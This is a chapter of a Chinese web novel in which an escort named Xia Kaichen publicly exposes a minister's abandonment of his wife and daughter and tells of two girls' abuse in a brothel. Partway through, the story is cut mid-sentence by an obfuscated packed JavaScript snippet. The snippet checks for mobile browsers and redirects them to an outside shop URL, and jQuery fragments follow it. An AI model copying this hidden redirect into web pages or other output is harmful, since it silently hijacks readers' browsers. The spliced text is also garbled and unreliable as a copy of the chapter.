84. 撕开伤口
作品:《少尹大人,为何会这样?》 夏开琛的这句话也让整个花园中安静了一瞬的人群又瞬间熙熙攘攘起来,大家不理解她为何会这样说,知道内情的人说这是对房家有怨恨。
“你到底想要做什么?”房元靖压低声音恨恨地问夏开琛,“不要忘了我还是你老子!”是了,女儿的生杀大权完全掌握在他的手上,如果他想对夏开琛做什么,任何人都没有资格阻止他。
夏开琛迎着他愤恨的目光,非但没有退缩,反而向前迈了一步,与房元靖极近。她清亮的声音穿透了满园的窃窃私语,清晰地传入每一个人的耳中。
“父亲?好一个父亲!”她嘴角噙着一丝冰冷的笑意,目光扫过房元靖那张因愤怒而扭曲的脸,最终落在强作镇定的房夫人身上,“当年,某人心中明明有喜欢的人,但奈何为了家族利益联姻,娶了不喜欢的人;又是谁娶了妻子还将喜欢的人养在外头,外室承担着骂名,他一边享受着爱人在侧,一边享受着妻子带来的利益?又是谁,不喜欢自己的妻子,又非要和她生下孩子,稳固家族利益?”
她每说一句,房元靖的脸色就白一分,房夫人更是摇摇欲坠,几乎站立不住。这件事在开封知道的人有很多,但就只是大家私下议论而已,从未有人将此事拿到明面上说。更何况,如今房元靖是礼部尚书,身份上就让很多人选择性遗忘这件事。
而且在场的男人,谁家没个妾室呢?养外室的人也不少。如今被人放到台面上说,知道说的不是自己,可面子上还是有些挂不住。
“房姑娘,这可是你的父亲,天下无不是的父母,你不要抱怨。再有你一个小孩子,大人的事你也不懂。”一个中年女人站出来劝夏开琛,至少在这个场合下要给房元靖留个面子,要不然等大家都回家了,该如何面对他。
“你胡闹!”房元靖指着她,手指因极致的愤怒剧烈颤抖,声音也显得尖利,“我都接你回来了,你还想怎么样?别忘了我还是你爹!”
“我爹?”夏开琛像是听到了什么笑话一样,她转身面向大家,“大家看看我和房尚书长得像吗?你一个做老子的,竟然连女儿长什么样都不知道,你真不配为人父。我的生身父亲可不是你。”
“轰——”人群顿时炸开了锅。这夏开琛还不是他房元靖的种,当年都知道房元靖和楚家女儿不和,但没想到楚家女儿这么有种,竟然敢给房元靖戴绿帽子,还将这件事告知了女儿。这房家的热闹还真是看不完。
沈昭先也同所有人一样,一脸震惊地看着被人群围在中间的“一家三口”,她真的以为夏开琛是回家认亲,可怎么都想到认亲现场竟还有这么一出。她猛然回头看向毫不意外的赵楚樟,“所以,你早就知道了?”她指着中间的几个人问。
“知道有这么一出,但具体的事情不清楚。”他的手背在身后,一脸的云淡风轻。
沈昭先见他平淡的样子,自然是不信的。但他应该也不是有意瞒着自己的,这么大的一出戏自然是要越少人知道越好。
“你看你,你难道就没有怀疑过我的身份吗?”夏开琛的声音十分讥讽,“我说我不说你的女儿,可没说我的真实身份啊。我出身在城南的贫民窟,家中吃了上顿没下顿,就这样为了生男孩,我的母亲足足生了五个孩子,我排行老三。”
“你真是疯了!”房元靖的怒吼在死寂的花园中刺耳,他目眦欲裂,指着夏开琛的手指抖得不成样子,“来人,小姐疯了,把她关进房中,不许出来!”
他费劲心力将人从楚家接回来,为的就是让人知道这也是他的嫡长女,将她嫁给旁人也不算轻视。但没想到这个夏开琛就搞出了这么一出,他礼部尚书的威严,在这一刻被这个他名义上“认回”的女儿,用最不堪的方式碾得粉碎!
方才还窃窃私语,交换着震惊眼神的人们,此刻都屏住了呼吸,目光死死钉在风暴中心的两人身上。
夏开琛似乎早已预料到房元靖会这样,她甚至微微扬起了下巴,那双清亮的眸子迎着房元靖几乎要喷出火来的目光,“大家都知道我是个镖师,也都知道是我开通了到西宁州的镖路。大家也都听说过,我当年是如何凭着一把刀,在那条镖路杀了来回!”
“你看谁敢动我?”她声音不高,却带着一种奇异的穿透力,“你看我都说了我不是房灵均,你也不让我把话说完。我那个小弟弟生出来身体不好,为了让弟弟活,我那位父亲心一狠就把我二姐给卖了。至于大姐,她那个时候大了,能干活了,再养几年就能嫁人换一笔彩礼,自然是舍不得的。”
“卖了二姐的钱没多久就用完了,他就打起了我的主意。我可万万没想到,我的父亲,竟然将我卖进了妓院!”
“住口!你个疯子!”房元靖再也维持不住最后一丝理智,他猛地向前一步,扬起手,眼看那巴掌就要狠狠掴在夏开琛脸上!
只是他忘记了夏开琛刚刚说过的话,他的手腕被对方死死拽住,动弹不得。挣扎不动的房元靖看着还在笑着的夏开琛,然后就听到她说:“我的话还没说完呢,接下来才是重点!”
“诸位,我就是个生在贫民窟的女子,家里怎么会让我认字呢?所以如今能识文断字,甚至能站在诸位贵人面前说话,又是为什么呢?”夏开琛的声音陡然拔高,“所以我接下来的话才是重点啊。我当年不服妓院的管教,日日被罚,天天被打。但我并不孤单,因为还有一个姑娘同我一样不服。”
“那个姑娘的名字是,房—灵—均。”她每说一句,房元靖的脸色就灰败一分。
“你……你……”房元靖猛地想起什么,像是抓住了最后一根稻草,厉声喝道:“休要胡言乱语!你若不是灵均,为何会有她的贴身玉佩?那玉佩是楚家祖传之物,绝无仅有!”
夏开琛嗤笑一声,那笑声在寂静中显得格外刺耳:“玉佩?房尚书说的是这个吗?”她伸手从怀中摸出一块温润的羊脂白玉,上面刻着繁复的缠枝莲纹。“是啊,这是她留给我的唯一念想。”
她顿了顿,目光落在房元靖惊疑不定的脸上,一字一句道,“我们在妓院那□□棺材里相依为命,她教我读书认字,告诉我这世上还有诗书礼义,我教她骂街撒泼,告诉她怎么才能在那群豺狼手里少挨顿打。我们就这样,在那个不见天日的地狱里,相互依偎着相互取暖。”她的声音带着一丝哭腔:“可是我们骨头太硬,始终学不会摇尾乞怜。鸨母觉得我们这样的人,留着就是祸害,迟早要坏了她‘生意’的规矩。于是,她们决定杀鸡儆猴,给那些新来的、还有心思的姑娘们看看,不服管教的下场是什么。”
她握着那枚玉佩,声音不高,却像淬了冰的刀子,“我们被打得只剩一口气,被草席一卷,扔到了城外的乱葬岗。恰好那天夜里下了一场雨,我醒了,我看她还有一口气在,却不能动,然后我就爬到一条道上,求求路过的人救救她也救救我……”
夏开琛的目光看向房元靖骤然失血的脸:“我运气好,等到了路过的人,所以我活了下来。可房灵均的运气不好,她没能等到那位好心人,就咽下了最后一口气。同样有你这样的父亲,也是她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968243|191408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
命不好。”
沈昭先瞪大眼睛看着眼前的夏开琛,她没想动啊夏镖师还有这样的痛苦过往,也没有想到她和房灵均还有这样的渊源。她看着夏开琛手中那枚玉佩,仿佛能感受到那上面承载的绝望与冰冷。
夏开琛的声音带着一种奇异的平静,却比任何嘶吼都更令人心颤:“她给予我许多帮助,可我却没能救回她。她最后只来得及把这玉佩塞进我手里,对我说……”夏开琛的目光如寒冰,直刺房元靖,“她说,‘若有朝一日,你能见到那个叫房元靖的男人,替我问他一句,亲手将发妻和女儿赶出家门,可曾想过会有今日?’”
那位房夫人指着夏开琛,脸色惨白如纸,嘴唇哆嗦着,却一个字也吐不出来。方才强装的镇定和那点虚假的母性慈爱早已被撕得粉碎。她踉跄着后退一步,下一刻就倒在了身边的丫鬟怀中。底下的人看到这一幕,又是大惊,手忙脚乱的将人抬回后院。
房元靖此时便是想要离开都离不得,他看着夏开琛,气急败坏地问:“你到底想要说些什么?”
夏开琛的声音陡然拔高,带着刻骨的恨意,“房尚书,您说这是‘造化弄人’?这分明是您亲手造的孽!”
满园死寂,所有的目光都聚焦在房元靖身上,那目光里有震惊,有鄙夷,有恍然大悟,也有兔死狐悲的寒意。
房元靖的脸色已不是惨白,而是泛着一种死灰。他高大的身躯晃了晃,仿佛被夏开琛字字泣血的控诉抽干了所有力气。他张了张嘴,想反驳,想怒斥,可喉咙里却像被什么堵住。
沈昭先只觉得一股寒意从脚底直冲头顶,她看着场中那个脊背挺得笔直,仿佛独自对抗整个世界的女子,看着她手中那枚仿佛还带着乱葬岗阴冷湿气的玉佩,眼眶不受控制地发热。
原来夏开琛那身仿佛与生俱来的疏离和坚韧,是用这样的血泪浇灌出来的。原来她执意要回到这虎狼之窝,是为了替那个叫房灵均的姑娘,讨一个迟到了十几年的公道!
她下意识地看向身边的赵楚樟。他依旧负手而立,侧脸的线条在花影下显得有些冷硬。他似乎察觉到了她的目光,微微侧过头,看到沈昭先眼圈发红,心中也满是对夏开琛的同情。
他无声地伸出手,宽大的袖袍再次遮掩了动作,这一次,不再是轻碰手背,而是带着一丝安抚的力道,轻轻捏了捏她因用力而微微颤抖的手。那动作很短暂,却像一道暖流,瞬间稳住了沈昭先几乎要失控的心绪。
夏开琛将房元靖的失魂落魄尽收眼底,嘴角那抹冰冷的笑意更深了,“所以,房尚书,您还觉得这是‘造化弄人’吗?您亲手推了那一下,把她们推进了地狱。如今,不过是地狱的业火,烧回了您自己身上罢了。房灵均的命,不好。摊上您这样的父亲,是她命里最大的劫数!”
今天在房家看到这一切的还有骆成骧,他很久都没见夏开琛了,楚家的门他进不去。那位楚知尧对他的搭讪理都不理,还是赵楚樟的和他说今天在这里,他能见到夏开琛,还给了他一张请柬。
可他怎么都没有想到,今天的她,会用这样自毁的方式,去给童年共苦的朋友报仇。那样伤口撕开,她不疼吗?
骆成骧只觉得四肢百骸被冻得僵硬。他挤在人群里,眼睁睁看着那个清冷的镖师,用最惨烈的方式剖开自己血淋淋的过往,只为将房元靖钉死在耻辱柱上。她每说一句,他的心就像被钝刀狠狠剜过。他想冲上去,想把她从那片噬人的目光里拉出来,想告诉她不必如此自毁,可脚下却像生了根,动弹不得。

